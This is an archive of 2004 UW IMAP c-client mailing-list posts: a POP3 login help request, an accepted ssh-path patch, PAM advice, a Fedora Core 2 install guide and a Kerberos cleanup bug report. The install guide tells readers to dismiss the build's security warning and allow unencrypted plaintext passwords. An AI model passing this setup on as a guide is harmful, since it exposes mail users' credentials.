id i8A8wuEs026699 for ; Fri, 10 Sep 2004 01:58:57 -0700 Received: from unknown (HELO p4-2400) (docandinfo@82.66.39.113 with login) by smtp013.mail.yahoo.com with SMTP; 10 Sep 2004 08:58:56 -0000 Message-Id: <200409100858.i8A8wuEs026699@mxe1.u.washington.edu> Date: Fri, 10 Sep 2004 11:03:29 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "DocAndInfo@yahoo.fr" To: "c-client" Subject: [C-CLIENT]Fedora C2 Pop3 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 X-Uwash-Spam: Gauge=XX, Probability=20%, Report='BASE64_ENC_TEXT 2.303, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN SGVsbG8sIA0KDQpJIHdhbnQgYSBwb3AzIHNlcnZlciAuDQoNCk9TLT4gRmVkb3JhIEMyIA0KVmVy IC0+IGltYXAtMjAwNGEgDQpNYWlsIFByb2cgZm94bWFpbCA1Lnh4eCAoV2luZG93cyBYUCkgYW5k IHdlYm1pbihzZW5kbWFpbCkgZm9yIHRlc3RpbmcuIA0KDQp0ZXN0IHVzZXIgLT4gVTEgcGFzcyBV MSAgKCBpIGNhbiBsb2cgaW4gb24gbXkgbGludXggYm94IHdpdGggdGhpcyBhY2NvdW50ICkNCmkg Y2FuIHNlbmQgYW5kIGVtYWlsIHRvIHRoaXMgdXNlciAodmlhIHdlYm1pbikgLCB0aGUgbWFpbCBp cyByZWNpdmVkIChyZWFkYWJsZSBpbiAkSE9NRS9tYm94IEFORCAvLi4vc3Bvb2wvbWFpbC9VMSAp DQoNCnBvcDMgYW5kIGltYXAgYXJlIGxpc3RlbmluZyBvbiB0aGUgcG9wIHNlcnZlciAoIGltYXAg aXMgbm8gcmVhY2hhYmxlIHNpbmNlIHRoZSBGVyBwcm90ZWN0IGhpbSkgDQoNCkkgd3JpdGUgaGVy ZSBiZWNhdXNlIGkgZGlkIG5vdCBtYW5hZ2UgdG8gdXNlICJXVSBpbWFwIiBhcyBwb3Agc2VydmVy IA0KDQotMS0gDQpjb21waWxhdGlvbiAtPiBtYWtlIGxyaCAtPiBjb21waWxhdGlvbiBPSyANCkkg c3RpbGwgZ290IGEgbWVzc2FnZSB0aGF0IHNheSB0aGF0IGkgY2FudCB1c2UgZW5jcnlwdGVkIHBh c3N3b3JkIA0KDQp3aGVuIGkgbG9nIGluIFUxL1UxIC0+ICJlcnIgdW5rbm93biBBdXRob3JpemF0 aW9uIHN0YXRlIGNvbW1hbmQiDQoNCkl0IHNlZW1zIHRvIGJlIGNvcnJlY3QgZm9yIG15IG1hY2hp bmUgLCBTbyBpIHRyeSB3aXRob3V0IGVuY3J5cHRpb24gDQoNCi0yLSANCmNvbXBpbGF0aW9uIC0+ IG1ha2UgbHJoIFNTTFRZUEU9dW5peCAgICAgICAtPiBjb21waWxhdGlvbiBPSyANCndoZW4gaSBs b2cgaW4gDQpBbmQgbm93ICwgaSAgY2FudCBsb2cgaW4gbXkgbXkgcG9wIGFjY291bnQgDQoNCmlw b3AzZCBkaWRub3QgYWNjZXB0IG15IHBhc3N3ZCAodXNlciBPSykNCg0KSSBtaXNzZWQgc29tZXRo aW5nICwgYnV0IGkgZG9udCBrbm93IHdoYXQgISANCkNhbiBzb21lIGJvZHkgZ2l2ZSBtZSB0aGUg d2F5ID8gDQoNClRoYW5rcw0K4CBiaWVudPR0LCANCkRvY0FuZEluZm8NCkRvY0FuZEluZm9AeWFo b28uZnINCjEwLzA5LzIwMDQNCg== -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 10 08:33:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Sep 2004 08:33:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AFX0o4025394 for ; Fri, 10 Sep 2004 08:33:00 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AFWvvE023313 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Sep 2004 08:32:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8AFVfJS012772; Fri, 10 Sep 2004 08:31:41 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AFUGwP029342 for ; Fri, 10 Sep 2004 08:30:17 -0700 Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8AFUDNC008680 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 10 Sep 2004 08:30:15 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id C21CCBC26C0 for ; Fri, 10 Sep 2004 17:30:08 +0200 (CEST) Message-Id: <20040910153007.GA14404@suse.de> Date: Fri, 10 Sep 2004 17:30:08 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Arvin Schnell To: c-client@u.washington.edu Subject: patch to set ssh-command and ssh-path Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, a co-worker pointed to me that it's not possible to set the path of the ssh binary like it's possible with the rsh binary in c-client 2004a. Also the path is not set in osdep/unix/Makefile. Attached is a patch to set ssh-command, ssh-path, and ssh-timeout config variables. Does this patch look ok or am I missing something? If it's ok please apply it to the development head and also extend the Makefile. ciao Arvin -- Dipl.-Phys. Arvin Schnell SUSE Linux AG Research & Development email: arvin@suse.de -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 10 08:36:19 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Sep 2004 08:36:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AFaJkI025534 for ; Fri, 10 Sep 2004 08:36:19 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AFaGjV023585 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Sep 2004 08:36:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8AFZFFB005232; Fri, 10 Sep 2004 08:35:16 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AFYajN092098 for ; Fri, 10 Sep 2004 08:34:36 -0700 Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8AFYXDn028212 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 10 Sep 2004 08:34:35 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 1B89BBC30CC for ; Fri, 10 Sep 2004 17:34:33 +0200 (CEST) Message-Id: <20040910153432.GA23336@suse.de> Date: Fri, 10 Sep 2004 17:34:32 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Arvin Schnell To: c-client@u.washington.edu Subject: Re: patch to set ssh-command and ssh-path (now with patch) In-Reply-To: <20040910153007.GA14404@suse.de> References: <20040910153007.GA14404@suse.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="h31gzZEtNLTqOjlF" Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, Sep 10, 2004 at 05:30:08PM +0200, Arvin Schnell wrote: > > Hi, > > a co-worker pointed to me that it's not possible to set the path > of the ssh binary like it's possible with the rsh binary in > c-client 2004a. Also the path is not set in osdep/unix/Makefile. > > Attached is a patch to set ssh-command, ssh-path, and ssh-timeout > config variables. And here is the patch. Stupid me. ciao Arvin --h31gzZEtNLTqOjlF Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="imap-ssh.patch" --- src/osdep/unix/env_unix.c +++ src/osdep/unix/env_unix.c @@ -1484,6 +1484,10 @@ mail_parameters (NIL,SET_RSHCOMMAND,(void *) k); else if (!compare_cstring (s,"set rsh-path")) mail_parameters (NIL,SET_RSHPATH,(void *) k); + else if (!compare_cstring (s,"set ssh-command")) + mail_parameters (NIL,SET_SSHCOMMAND,(void *) k); + else if (!compare_cstring (s,"set ssh-path")) + mail_parameters (NIL,SET_SSHPATH,(void *) k); else if (!compare_cstring (s,"set tcp-open-timeout")) mail_parameters (NIL,SET_OPENTIMEOUT,(void *) atol (k)); else if (!compare_cstring (s,"set tcp-read-timeout")) @@ -1492,6 +1496,8 @@ mail_parameters (NIL,SET_WRITETIMEOUT,(void *) atol (k)); else if (!compare_cstring (s,"set rsh-timeout")) mail_parameters (NIL,SET_RSHTIMEOUT,(void *) atol (k)); + else if (!compare_cstring (s,"set ssh-timeout")) + mail_parameters (NIL,SET_SSHTIMEOUT,(void *) atol (k)); else if (!compare_cstring (s,"set maximum-login-trials")) mail_parameters (NIL,SET_MAXLOGINTRIALS,(void *) atol (k)); else if (!compare_cstring (s,"set lookahead")) --h31gzZEtNLTqOjlF-- From pinedev@shivax2.cac.washington.edu Fri Sep 10 11:36:29 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Sep 2004 11:36:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AIaSwv032707 for ; Fri, 10 Sep 2004 11:36:28 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AIaP9O015002 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Sep 2004 11:36:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8AI37Zr003596; Fri, 10 Sep 2004 11:03:09 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AI1fAT049674 for ; Fri, 10 Sep 2004 11:01:41 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8AI1edU029013 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 10 Sep 2004 11:01:40 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AI1e5L015224; Fri, 10 Sep 2004 11:01:40 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AI1dPv030108; Fri, 10 Sep 2004 11:01:40 -0700 Message-Id: Date: Fri, 10 Sep 2004 11:01:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Arvin Schnell Cc: c-client@u.washington.edu Subject: Re: patch to set ssh-command and ssh-path In-Reply-To: <20040910153007.GA14404@suse.de> References: <20040910153007.GA14404@suse.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have adopted your proposed patch as-is. Thank you. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Sep 10 11:37:50 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Sep 2004 11:37:50 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AIboF1032765 for ; Fri, 10 Sep 2004 11:37:50 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AIbnXa002206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Sep 2004 11:37:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8AI4i1k013846; Fri, 10 Sep 2004 11:04:44 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AI4DtU117248 for ; Fri, 10 Sep 2004 11:04:13 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8AI4Ca1002566 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 10 Sep 2004 11:04:12 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AI4CYe001391; Fri, 10 Sep 2004 11:04:12 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8AI4CFm030172; Fri, 10 Sep 2004 11:04:12 -0700 Message-Id: Date: Fri, 10 Sep 2004 11:04:12 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "DocAndInfo@yahoo.fr" Cc: c-client Subject: Re: [C-CLIENT]Fedora C2 Pop3 In-Reply-To: <200409100858.i8A8wuEs026699@mxe1.u.washington.edu> References: <200409100858.i8A8wuEs026699@mxe1.u.washington.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=X, Probability=10%, Report='TO_ADDRESS_EQ_REAL 0.756, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On RedHat systems, the default password validation system uses PAM. So, you must ensure that PAM is set up for POP and IMAP authentication; in particular, that there is an entry for these in /etc/pam.d -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sat Sep 11 02:44:37 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sat, 11 Sep 2004 02:44:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8B9ibKj026552 for ; Sat, 11 Sep 2004 02:44:37 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8B9iaVo010186 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sat, 11 Sep 2004 02:44:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8B9haTw012180; Sat, 11 Sep 2004 02:43:38 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8B9dqBv059316 for ; Sat, 11 Sep 2004 02:39:52 -0700 Received: from smtp109.mail.sc5.yahoo.com (smtp109.mail.sc5.yahoo.com [66.163.170.7]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id i8B9dper031475 for ; Sat, 11 Sep 2004 02:39:51 -0700 Received: from unknown (HELO p4-2400) (docandinfo@82.66.39.113 with login) by smtp109.mail.sc5.yahoo.com with SMTP; 11 Sep 2004 09:39:50 -0000 Message-Id: <200409110939.i8B9dper031475@mxe7.u.washington.edu> Date: Sat, 11 Sep 2004 11:44:24 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "DocAndInfo@yahoo.fr" To: "c-client" Subject: Installation on Fedora C2 for the dummy Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN # ################################################## # Manual Installation on Fedora C2 from scartch for the dummy # ################################################## //------------------------------------------------------- // Compilation (without password encryption) //------------------------------------------------------- make lrh SSLTYPE=unix $ [root@MyMachine imap-2004a]# make lrh SSLTYPE=unix $ make sslunix $ make[1]: Entering directory `/root/imap-2004a' $ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ $ + Building in PARTIAL compliance with RFC 3501 security $ + requirements: $ + Compliant: $ ++ TLS/SSL encryption is supported $ + Non-compliant: $ ++ Unencrypted plaintext passwords are permitted $ + $ + In order to rectify this problem, you MUST build with: $ ++ SSLTYPE=unix.nopwd $ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ $ $ Do you want to continue this build anyway? Type y or n please: $ Reply YES , entrer [y] [...] Dont care about this message warning: the use of `tmpnam' is dangerous, better use `mkstemp' Binaries from the build are: imap-2004/mtest/mtest c-client testbed program imap-2004/ipopd/ipop2d POP2 daemon imap-2004/ipopd/ipop3d POP3 daemon imap-2004/imapd/imapd IMAP4rev1 daemon //------------------------------------------------------- // Installation //------------------------------------------------------- I install all file in /usr/local/imap-2004 and i use this link /usr/local/imap for futur release /usr/local/ [...] 0 lrwxrwxrwx 1 root root 20 sep 9 19:44 imap -> /usr/local/imap-2004 4 drwxr-xr-x 2 root root 4096 sep 11 10:58 imap-2004 [...] /usr/local/imap ( or /usr/local/imap-2004 ) -rwxr-xr-x 1 root root 1670507 sep 11 10:58 imapd -rwxr-xr-x 1 root root 1600291 sep 11 10:58 ipop2d -rwxr-xr-x 1 root root 1606147 sep 11 10:58 ipop3d $ mkdir /usr/local/imap-2004 -p $ cp ipopd/ipop2d /usr/local/imap-2004/ipop2d $ cp ipopd/ipop3d /usr/local/imap-2004/ipop3d $ cp imapd/imapd /usr/local/imap-2004/imapd $ ln /usr/local/imap-2004 /usr/local/imap -s //------------------------------------------------------- // Make it works //------------------------------------------------------- create these files /etc/pam.d/pop #%PAM-1.0 auth required pam_stack.so service=system-auth account required pam_stack.so service=system-auth password required pam_stack.so service=system-auth /etc/pam.d/imap #%PAM-1.0 auth required pam_stack.so service=system-auth account required pam_stack.so service=system-auth password required pam_stack.so service=system-auth Add this in your /etc/xinetd.conf (remember i use a link for root directory) # WU IMAP service pop2 { # i dont need him disable = yes socket_type = stream wait = no user = root server = /usr/local/imap/ipop2d } service pop3 { # i need him # disable = yes flags = IPv4 disable = no log_on_success += HOST DURATION log_on_failure += HOST protocol = tcp socket_type = stream wait = no user = root server = /usr/local/imap/ipop3d } service imap { # i need him # disable = yes socket_type = stream wait = no user = root server = /usr/local/imap/imapd } then start xinetd /etc/init.d/xinetd start try netstat to see how is it started [root@MyMachine imap]# netstat -lp Connexions Internet actives (seulement serveurs) Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name [...] tcp 0 0 *:pop3 *:* LISTEN 24883/xinetd tcp 0 0 *:imap *:* LISTEN 24883/xinetd [...] Sockets du domaine UNIX actives(seulement serveurs) Proto RefCpt Indicatrs Type Etat I-Node PID/Program name Chemin [...] now it should work fine. It works for me ! The Box : [root@MyMachine imap]# uname -a Linux MyMachine 2.6.8-1.521 #1 Mon Aug 16 09:01:18 EDT 2004 i686 athlon i386 GNU/Linux No X system is on this stand-alone linux box This is a monitoring Box , no-body come one exept me. This mail is create to help other Fedora C2 user to install WU-Imap since , it s not the default software provided in the CD-Rom pack ! And the sources documentation is not realy talking about this OS ! Sorry for my poor english ! and Thanks for help DocAndInfo@yahoo.fr PS : Mark C , i think it could be use full to add this (after rewrite) in your documentation. i just use my (poor) previous experience to do that. i dinot find a real fedora How-to they talk about Rpm and it works like "the sun rise" :))) , nothing for FC2 ! Re - thanks for help . -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 13 07:20:35 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Sep 2004 07:20:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DEKYVR011410 for ; Mon, 13 Sep 2004 07:20:34 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DEKX8U004494 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Sep 2004 07:20:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8DEJ6LW010818; Mon, 13 Sep 2004 07:19:06 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DEG3IF114846 for ; Mon, 13 Sep 2004 07:16:03 -0700 Received: from doom.robarts.ca (doom.robarts.ca [198.20.36.26]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8DEG2pD023154 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Sep 2004 07:16:03 -0700 Received: from exchange.robarts.ca (exchange.robarts.ca [198.20.36.19]) by doom.robarts.ca (8.12.11/8.12.11) with ESMTP id i8DEFx5h008902; Mon, 13 Sep 2004 10:15:59 -0400 Message-Id: <78F7137E00C47E4FB51E5E590E975C860EFEB2@exchange.robarts.ca> Date: Mon, 13 Sep 2004 10:15:59 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Sauve" To: "Mark Crispin" Cc: Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-yoursite-MailScanner-Information: Please contact the ISP for more information X-yoursite-MailScanner: Found to be clean X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark, I've compiled the 2004a version currently available on the website (md5sum 34d2c66271302cd2f926094fb5e8705d), and have also tested the development version of 2004b. As per inspection, both versions DO contain a logout hook built into src/osdep/unix/ckp_pam.c, but still do not cleanup pam credentials properly (in this case kerberos tickets in /tmp). Why this is I am not sure, but this appears to be a bug in the code still. Jason -----Original Message----- From: Mark Crispin [mailto:mrc@CAC.Washington.EDU]=20 Sent: Saturday, September 11, 2004 12:45 AM To: Jason Sauve Subject: RE: Possible IMAP Bug Causes IMAP with PAM_KRB5 to rapidly deplete INODEs and DISK space On Fri, 10 Sep 2004, Jason Sauve wrote: > The source I downloaded and compiled with to test just a few hours ago > today was actually from ftp://ftp.cac.washington.edu/mail/imap.tar.Z > (2004.88). > If it was 2004a that I downloaded, then the issue doesn't appear to be > resolved in this version as upon logout or disconnect the PAM kerberos > ticket is still left in /tmp. Are you certain that you were actually running the 2004a version of imapd?=20 More than once, someone has said "it wasn't fixed by the new version" when it turned out that they were still inadvertantly running the old binary. The routine which does the cleanup is checkpw_cleanup() in ckp_pam.c. It is armed as the logout hook by checkpw() in the two mail_parameters() calls near the end. Since this is a software issue with the UW IMAP toolkit (c-client library) instead of an IMAP protocol issue, any further discussion on mailing lists should go to the c-client@u.washington.edu mailing list instead of imap@u.washington.edu. Thanks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Sep 13 08:26:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Sep 2004 08:26:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DFQ4UM013509 for ; Mon, 13 Sep 2004 08:26:04 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DFQ3pU008243 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Sep 2004 08:26:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8DFOTt1014782; Mon, 13 Sep 2004 08:24:29 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8DFLh1S034354 for ; Mon, 13 Sep 2004 08:21:43 -0700 Received: from doom.robarts.ca (doom.robarts.ca [198.20.36.26]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8DFLgAh005831 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 13 Sep 2004 08:21:43 -0700 Received: from exchange.robarts.ca (exchange.robarts.ca [198.20.36.19]) by doom.robarts.ca (8.12.11/8.12.11) with ESMTP id i8DFLdNr028809; Mon, 13 Sep 2004 11:21:40 -0400 Message-Id: 